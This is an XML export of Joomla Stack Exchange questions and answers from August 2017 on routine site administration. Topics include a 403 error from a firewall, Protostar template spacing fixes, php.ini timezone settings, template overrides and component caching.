  <row Id="21345" PostTypeId="1" AcceptedAnswerId="21412" CreationDate="2017-08-15T09:23:02.463" Score="2" ViewCount="1996" Body="&lt;p&gt;I have a strange error in Joomla backend. I get a forbidden error when trying to save article from certain custom component in Joomla it doesn't happen for all articles which baffles me a lot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get a:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You don't have permission to access /administrator/index.php on this&#xA;  server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I had installed sourcerer and suspected it was causing the problem but sadly that didnt seem to be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts guys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;It seems when I insert a link into my article using the editor is when I get this error. I guess it might be a security related issue.&lt;/p&gt;&#xA;" OwnerUserId="11025" LastEditorUserId="126" LastEditDate="2017-08-15T11:26:04.103" LastActivityDate="2018-11-14T20:32:09.330" Title="Occasional 403 errors when saving articles" Tags="|joomla-3.x|security|server|permissions|server-configuration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21346" PostTypeId="2" ParentId="21345" CreationDate="2017-08-15T11:24:46.010" Score="2" Body="&lt;p&gt;A &lt;strong&gt;403 error&lt;/strong&gt; denotes that &lt;strong&gt;the operation/task is not permitted&lt;/strong&gt;. This is usually comes from &lt;strong&gt;strict permissions&lt;/strong&gt;, or &lt;strong&gt;security settings&lt;/strong&gt; posed by the server e.g. a firewall, or it can be due to &lt;strong&gt;file permissions&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your updated information, my guess is that the 403 error you are encountering comes from a &lt;strong&gt;software firewall&lt;/strong&gt; - it could a Joomla extension like the &lt;strong&gt;WAF&lt;/strong&gt; of &lt;strong&gt;Admin Tools Pro&lt;/strong&gt;, or it can be a WAF on the server level (&lt;strong&gt;&lt;code&gt;mod_security&lt;/code&gt;&lt;/strong&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to go through and investigate your logs in order to get a clue. If you don't manage your server, then report this to your hosting provider as well and seek for help. They should be able to give you more information and even fix it for you, by whitelisting the operation that get's blocked (if it comes from a server WAF or it's another server configuration related issue).&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-08-15T11:24:46.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21347" PostTypeId="2" ParentId="21033" CreationDate="2017-08-15T22:29:04.380" Score="1" Body="&lt;p&gt;In your form XML try replacing custom with basic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;fieldset name=&quot;custom&quot; label=&quot;Lizenzinformationen&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;fieldset name=&quot;basic&quot; label=&quot;Lizenzinformationen&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2017-08-15T22:29:04.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21348" PostTypeId="1" CreationDate="2017-08-16T10:34:30.297" Score="2" ViewCount="20" Body="&lt;p&gt;After uploading an extension package to Joomla, where is the location to &#xA;pkg_extensioname.xml file?&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="120" LastEditDate="2017-08-17T02:17:29.013" LastActivityDate="2017-08-17T06:20:53.283" Title="Where is the location of the pkg_extensioname.xml file after upload?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21349" PostTypeId="2" ParentId="21348" CreationDate="2017-08-16T10:38:35.617" Score="2" Body="&lt;p&gt;I found it myself just now, it is under:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/manifests/packages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;best regards&#xA;Kian William&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="126" LastEditDate="2017-08-17T06:20:53.283" LastActivityDate="2017-08-17T06:20:53.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21350" PostTypeId="2" ParentId="21335" CreationDate="2017-08-16T14:59:23.090" Score="1" Body="&lt;p&gt;What you need is to search all files of component to find places where Decrypt function is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can open Nodepad++ , then press CTRL+SHIFT+F, next in field &quot;Find&quot; insert - &lt;strong&gt;decrypt&lt;/strong&gt; or &lt;strong&gt;decode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next in &quot;Folder&quot; field insert - &lt;strong&gt;your_site_path\administrator\components\com_yourcomponent&lt;/strong&gt; or just &lt;strong&gt;yourcomponent_developer_folder_path&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &quot;Find all&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then at the bottom you will see a window with all results.&lt;/p&gt;&#xA;" OwnerUserId="11137" LastEditorUserId="11137" LastEditDate="2017-08-16T15:11:05.763" LastActivityDate="2017-08-16T15:11:05.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21351" PostTypeId="2" ParentId="10791" CreationDate="2017-08-17T08:04:44.197" Score="3" Body="&lt;p&gt;To get all columns of a table as arrays use JDatabase class method as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db=JFactory::getDBO();&#xA;$columnArr=$db-&amp;gt;getTableColumns(&quot;#__table_name&quot;);&#xA;foreach ($columnArr as $key =&amp;gt; $value) {&#xA;    // here $key will be column name and $value will be type&#xA;    // process array code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8987" LastEditorUserId="12352" LastEditDate="2018-05-28T15:39:18.877" LastActivityDate="2018-05-28T15:39:18.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21352" PostTypeId="2" ParentId="21235" CreationDate="2017-08-17T08:26:13.227" Score="1" Body="&lt;p&gt;&lt;strong&gt;Add external hosted images to product:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;products -&gt; product images -&gt; &quot;used url&quot; &amp;amp; &quot;used thumb url&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For importing images from Imgur to your Virtuemart webspace you need to write an extension which utilize the Imgur api. (I did this already for Dropbox.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*But, I would recommend to resize your images to max 800x800px and compress them with 60 to 80% quality. Even you 2GB webspace should be big enough for that. (1000 images * 100kb / 1024 ~ 97MB)*&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-17T08:26:13.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21353" PostTypeId="1" AcceptedAnswerId="21360" CreationDate="2017-08-17T09:07:22.930" Score="1" ViewCount="1750" Body="&lt;p&gt;OK, so I am brand new to Joomla, figuring it out as I go along. I mean, that is what Joomla is for, being able to do it yourself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have been sitting for two days at an end, trying to get that irritating waste of space in my Protostar template gone. to be exact, there is an empty space of about 1 inch above the Position-1 module in the Template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached is an image, indicating the red highlighted area I want gone. I looked up forums, posts and all, but none of the info there help me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xiw7F.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xiw7F.jpg&quot; alt=&quot;Empty Space at top of page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11443" LastEditorUserId="126" LastEditDate="2017-08-18T10:27:26.357" LastActivityDate="2018-10-11T01:08:45.003" Title="Customizing Protostar - Empty space in Joomla Protostar Template" Tags="|joomla-3.x|templates|css|template-manager|protostar|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21354" PostTypeId="2" ParentId="20980" CreationDate="2017-08-17T11:10:23.317" Score="1" Body="&lt;p&gt;You could contact your hosting provider and ask for a ftp + db backup from yesterday. This way you have at least the latest files and data back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should always download your Akeeba backups after generation directly and delete them from the server for security reasons.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2017-08-17T11:23:32.420" LastActivityDate="2017-08-17T11:23:32.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21355" PostTypeId="2" ParentId="21353" CreationDate="2017-08-17T11:22:50.197" Score="1" Body="&lt;p&gt;Ok, you don't load any module to the position-0, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the header part in the index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header class=&quot;header&quot; role=&quot;banner&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;header-inner clearfix&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;brand pull-left&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl; ?&amp;gt;/&quot;&amp;gt;&#xA;                &amp;lt;?php echo $logo; ?&amp;gt;&#xA;                &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('sitedescription')) : ?&amp;gt;&#xA;                    &amp;lt;?php echo '&amp;lt;div class=&quot;site-description&quot;&amp;gt;' . htmlspecialchars($this-&amp;gt;params-&amp;gt;get('sitedescription'), ENT_COMPAT, 'UTF-8') . '&amp;lt;/div&amp;gt;'; ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;div class=&quot;header-search pull-right&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-0&quot; style=&quot;none&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's possible that one of the elements has a height, padding or margin. You can check that very easy by using dev tools (F12 or right click -&gt; check element).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you don't need the header section here, you can excluded it with following changes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('position-0')) : ?&amp;gt;   &#xA;&amp;lt;header class=&quot;header&quot; role=&quot;banner&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;header-inner clearfix&quot;&amp;gt;&#xA;                &amp;lt;a class=&quot;brand pull-left&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl; ?&amp;gt;/&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $logo; ?&amp;gt;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('sitedescription')) : ?&amp;gt;&#xA;                        &amp;lt;?php echo '&amp;lt;div class=&quot;site-description&quot;&amp;gt;' . htmlspecialchars($this-&amp;gt;params-&amp;gt;get('sitedescription'), ENT_COMPAT, 'UTF-8') . '&amp;lt;/div&amp;gt;'; ?&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;                &amp;lt;div class=&quot;header-search pull-right&quot;&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-0&quot; style=&quot;none&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/header&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This with check if there is a module activated for position-0, if not skip this part otherwise it will output the header with the module position.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-17T11:22:50.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21356" PostTypeId="2" ParentId="21274" CreationDate="2017-08-17T11:40:52.047" Score="1" Body="&lt;p&gt;The following only works if your hosting provider allows own php.ini files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Go to Joomla root.&#xA;2) create you own php.ini (just create an empty txt-file and change the extension to &quot;ini&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date.timezone = Pacific/Tahiti &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the php.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Upload to the Joomla root&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) (optional, if needed by your server to work) Add this to the end of your htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_suphp.c&amp;gt;&#xA;suPHP_ConfigPath /YOUR ABSOLUTE PATH TO THE JOOMLA ROOT HERE&#xA;&amp;lt;Files php.ini&amp;gt;&#xA;order allow,deny&#xA;deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This could take some minutes to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get your absolute path, just upload a test.php file into your Joomla root:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo __DIR__; // or echo realpath(dirname(__FILE__));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-17T11:40:52.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21357" PostTypeId="2" ParentId="21148" CreationDate="2017-08-17T11:59:06.553" Score="1" Body="&lt;p&gt;(Tested in Joomla 3.7.x)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla backend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extensions -&gt; Languages -&gt; Content -&gt; edit your installed languages -&gt; tab &quot;sitename&quot;.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-17T11:59:06.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21358" PostTypeId="2" ParentId="21237" CreationDate="2017-08-17T12:32:30.807" Score="1" Body="&lt;p&gt;Create an override for the module in templates/your_template/html/mod_articles_category/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add to the line 20 and 84 after li tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $params  = $item-&amp;gt;params;&#xA;    $urls = json_encode($item-&amp;gt;urls);&#xA;    if (isset($urls) &amp;amp;&amp;amp; ((!empty($urls-&amp;gt;urls_position) &amp;amp;&amp;amp; ($urls-&amp;gt;urls_position == '0')) || ($params-&amp;gt;get('urls_position') == '0' &amp;amp;&amp;amp; empty($urls-&amp;gt;urls_position)))&#xA;    || (empty($urls-&amp;gt;urls_position) &amp;amp;&amp;amp; (!$params-&amp;gt;get('urls_position')))) :&#xA;&#xA;        if ($urls &amp;amp;&amp;amp; (!empty($urls-&amp;gt;urla) || !empty($urls-&amp;gt;urlb) || !empty($urls-&amp;gt;urlc))) :&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;content-links&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;nav nav-tabs nav-stacked&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $urlarray = array(&#xA;                    array($urls-&amp;gt;urla, $urls-&amp;gt;urlatext, $urls-&amp;gt;targeta, 'a'),&#xA;                    array($urls-&amp;gt;urlb, $urls-&amp;gt;urlbtext, $urls-&amp;gt;targetb, 'b'),&#xA;                    array($urls-&amp;gt;urlc, $urls-&amp;gt;urlctext, $urls-&amp;gt;targetc, 'c')&#xA;                    );&#xA;                    foreach ($urlarray as $url) :&#xA;                        $link = $url[0];&#xA;                        $label = $url[1];&#xA;                        $target = $url[2];&#xA;                        $id = $url[3];&#xA;&#xA;                        if ( ! $link) :&#xA;                            continue;&#xA;                        endif;&#xA;&#xA;                        // If no label is present, take the link&#xA;                        $label = $label ?: $link;&#xA;&#xA;                        // If no target is present, use the default&#xA;                        $target = $target ?: $params-&amp;gt;get('target' . $id);&#xA;                        ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;content-links-&amp;lt;?php echo $id; ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            // Compute the correct link&#xA;&#xA;                            switch ($target)&#xA;                            {&#xA;                                case 1:&#xA;                                    // Open in a new window&#xA;                                    echo '&amp;lt;a href=&quot;' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&amp;gt;' .&#xA;                                        htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '&amp;lt;/a&amp;gt;';&#xA;                                    break;&#xA;&#xA;                                case 2:&#xA;                                    // Open in a popup window&#xA;                                    $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=600';&#xA;                                    echo &quot;&amp;lt;a href=\&quot;&quot; . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . &quot;\&quot; onclick=\&quot;window.open(this.href, 'targetWindow', '&quot; . $attribs . &quot;'); return false;\&quot; rel=\&quot;noopener noreferrer\&quot;&amp;gt;&quot; .&#xA;                                        htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '&amp;lt;/a&amp;gt;';&#xA;                                    break;&#xA;                                case 3:&#xA;                                    // Open in a modal window&#xA;                                    JHtml::_('behavior.modal', 'a.modal');&#xA;                                    echo '&amp;lt;a class=&quot;modal&quot; href=&quot;' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '&quot;  rel=&quot;{handler: \'iframe\', size: {x:600, y:600}} noopener noreferrer&quot;&amp;gt;' .&#xA;                                        htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' &amp;lt;/a&amp;gt;';&#xA;                                    break;&#xA;&#xA;                                default:&#xA;                                    // Open in parent window&#xA;                                    echo '&amp;lt;a href=&quot;' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '&quot; rel=&quot;nofollow&quot;&amp;gt;' .&#xA;                                        htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' &amp;lt;/a&amp;gt;';&#xA;                                    break;&#xA;                            }&#xA;                        ?&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-17T12:32:30.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21359" PostTypeId="2" ParentId="21353" CreationDate="2017-08-17T14:53:29.943" Score="0" Body="&lt;p&gt;So there are 3 problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As &lt;strong&gt;@Dennis Heiden&lt;/strong&gt; mentioned, you need to add a PHP &lt;code&gt;if&lt;/code&gt; statement around you &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; as it's still displaying in the DOM. So follow the instructions on his answer first.&lt;/li&gt;&#xA;&lt;li&gt;Your navbar (&lt;code&gt;.navigation&lt;/code&gt;) has a &lt;code&gt;5px&lt;/code&gt; top padding which is adding a little more space at the top&lt;/li&gt;&#xA;&lt;li&gt;The last issue is coming from the following code:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;```&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.maximenuck {&#xA;    clear: both;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;```&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which as you can imagine, is coming from the maximenu extension you're using which I would whole heartedly never recommend using.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-08-17T14:53:29.943" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21360" PostTypeId="2" ParentId="21353" CreationDate="2017-08-17T17:42:11.683" Score="2" Body="&lt;h1&gt;1. Looking at your CSS&lt;/h1&gt;&#xA;&lt;p&gt;To fully remove the space that is above your menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;.body .container&lt;/code&gt; has a border of 1px&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;.header&lt;/code&gt; has a margin-bottom of 10px&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;.navigation&lt;/code&gt; has a padding of 5px for top/bottom.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;.navbar&lt;/code&gt; has a margin-bottom of 18px;&lt;/p&gt;&#xA;&lt;p&gt;These need to be changed/overwritten. So something like this, in your &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_a_custom_CSS_with_Protostar&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom Css&lt;/a&gt;&lt;/strong&gt; file could work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.body .container {border: 0;}&#xA;.header {margin-bottom: 0;}&#xA;.navigation {padding-top: 0;}&#xA;.navbar {margin-bottom: 0;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;&#xA;If you want to give more specificity therefore even higher priority for your custom rules, you can add the &lt;code&gt;.site&lt;/code&gt; selector before the others. For example the above rules would end up like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.site .body .container {border: 0;}&#xA;.site .header {margin-bottom: 0;}&#xA;/*.... and so on....*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Answer Updates&lt;/h1&gt;&#xA;&lt;h2&gt;Modifying Protostar Template - Best Practices&lt;/h2&gt;&#xA;&lt;p&gt;I forgot to mention that it looks like you are modifying directly the core Protostar template. Do note that any changes you do on its core files are under the potential risk of getting overwritten (lost) after a future update of Joomla.&lt;/p&gt;&#xA;&lt;p&gt;There are two main options on how to do this, depending on the level of customization needed:&lt;/p&gt;&#xA;&lt;h3&gt;1. Adding Custom CSS&lt;/h3&gt;&#xA;&lt;p&gt;The Protostar template CSS can be modified directly in the Template Manager. But the issue with modifying core files is that they may be overwritten by an update. So to avoid to add to CSS customisations again and again, the solution is to add a custom css file. (This is implemented since Joomla 3.5. All it takes is to create a new file named &lt;strong&gt;&lt;code&gt;user.css&lt;/code&gt;&lt;/strong&gt; and placed inside the css folder of the protostar template. There we can add our own custom css rules. Here is a more detailed guide on how to do this through Joomla backend:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_a_custom_CSS_with_Protostar&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Customizing the Protostar Template - Custom CSS&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;2: Cloning Protostar&lt;/h3&gt;&#xA;&lt;p&gt;If you want to go a step further and customize deeper the &lt;strong&gt;Protostar&lt;/strong&gt; template, changing it's layout and html, you can &lt;strong&gt;copy/clone&lt;/strong&gt; it and build your own template upon it.&lt;/p&gt;&#xA;&lt;p&gt;This can be done easily through Joomla Template Manager interface. Following the links below you can find on how to do this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4181/best-way-to-override-the-index-php-file-from-a-joomla-template&quot;&gt;Best way to override the index.php file from a joomla template&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Modifying_a_Joomla!_Template&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla.org Docs: Modifying a Joomla Template&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-18T10:24:46.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21361" PostTypeId="1" CreationDate="2017-08-18T00:12:41.733" Score="0" ViewCount="69" Body="&lt;p&gt;I would like to have a page that lists all articles in a category by subcategory, and to have these articles listed by titles longer than Joomla's built-in maximum length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In asking &lt;a href=&quot;https://joomla.stackexchange.com/q/21340/9145&quot;&gt;this question&lt;/a&gt; I found out that changing Joomla's built in maximum length is a very bad idea, but that there are ways to &quot;fake&quot; long article titles in links to lists of articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I create a page that lists articles in a category by subcategory with &quot;fake&quot; titles that are longer than Joomla's built-in article length limit?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9145" LastActivityDate="2017-08-18T10:29:07.980" Title="How can I create a page that links to all articles with fake long titles?" Tags="|articles|category|component-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21362" PostTypeId="2" ParentId="21361" CreationDate="2017-08-18T02:38:09.967" Score="0" Body="&lt;p&gt;You can do a template override for the category view and instead of displaying a title in HREF use the intro part of each article that is displayed above the fold. &lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2017-08-18T02:38:09.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21363" PostTypeId="2" ParentId="21361" CreationDate="2017-08-18T06:08:15.637" Score="4" Body="&lt;p&gt;You can achieve this with the built in functionality of Joomla. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a &lt;strong&gt;Category Blog Menu Item&lt;/strong&gt; and deactivate title under the options tab.&lt;/li&gt;&#xA;&lt;li&gt;While creating an article, write first your fake title and maybe a short intro text.&lt;/li&gt;&#xA;&lt;li&gt;Then use the &quot;&lt;strong&gt;read more&lt;/strong&gt;&quot; button on the bottom of the editor to insert the read more button (displayed as line in the editor).  &lt;/li&gt;&#xA;&lt;li&gt;Then you can write your main content of the article.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Splitting_an_Article_into_an_introduction_with_a_link_to_read_more&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Splitting_an_Article_into_an_introduction_with_a_link_to_read_more&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="126" LastEditDate="2017-08-18T10:29:07.980" LastActivityDate="2017-08-18T10:29:07.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21364" PostTypeId="1" CreationDate="2017-08-18T15:35:20.093" Score="3" ViewCount="93" Body="&lt;p&gt;I've built a custom component, and I'm trying to make it a bit faster, and while I was rooting through model core files I saw that their &lt;code&gt;getItems()&lt;/code&gt; uses a caching to reduce DB queries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$store = $this-&amp;gt;getStoreId();&#xA;if (isset($this-&amp;gt;cache[$store]))&#xA;{&#xA;    return $this-&amp;gt;cache[$store];&#xA;}&#xA;&#xA;try&#xA;{&#xA;    // Load the list items and add the items to the internal cache.&#xA;    $this-&amp;gt;cache[$store] = $this-&amp;gt;_getList($this-&amp;gt;_getListQuery(), $this-&amp;gt;getStart(), $this-&amp;gt;getState('list.limit'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm attempting to duplicate this for my component. Code is practically the same, but whenever I check &lt;code&gt;isset($this-&amp;gt;cache[$store])&lt;/code&gt; it is always unset. I'm unsure if I'm having a problem fetching &lt;code&gt;$this-&amp;gt;cache[$store]&lt;/code&gt; or saving to it.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2017-08-24T13:43:25.367" Title="Component getList cache not loading/saving" Tags="|component|custom-component|cache|model|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
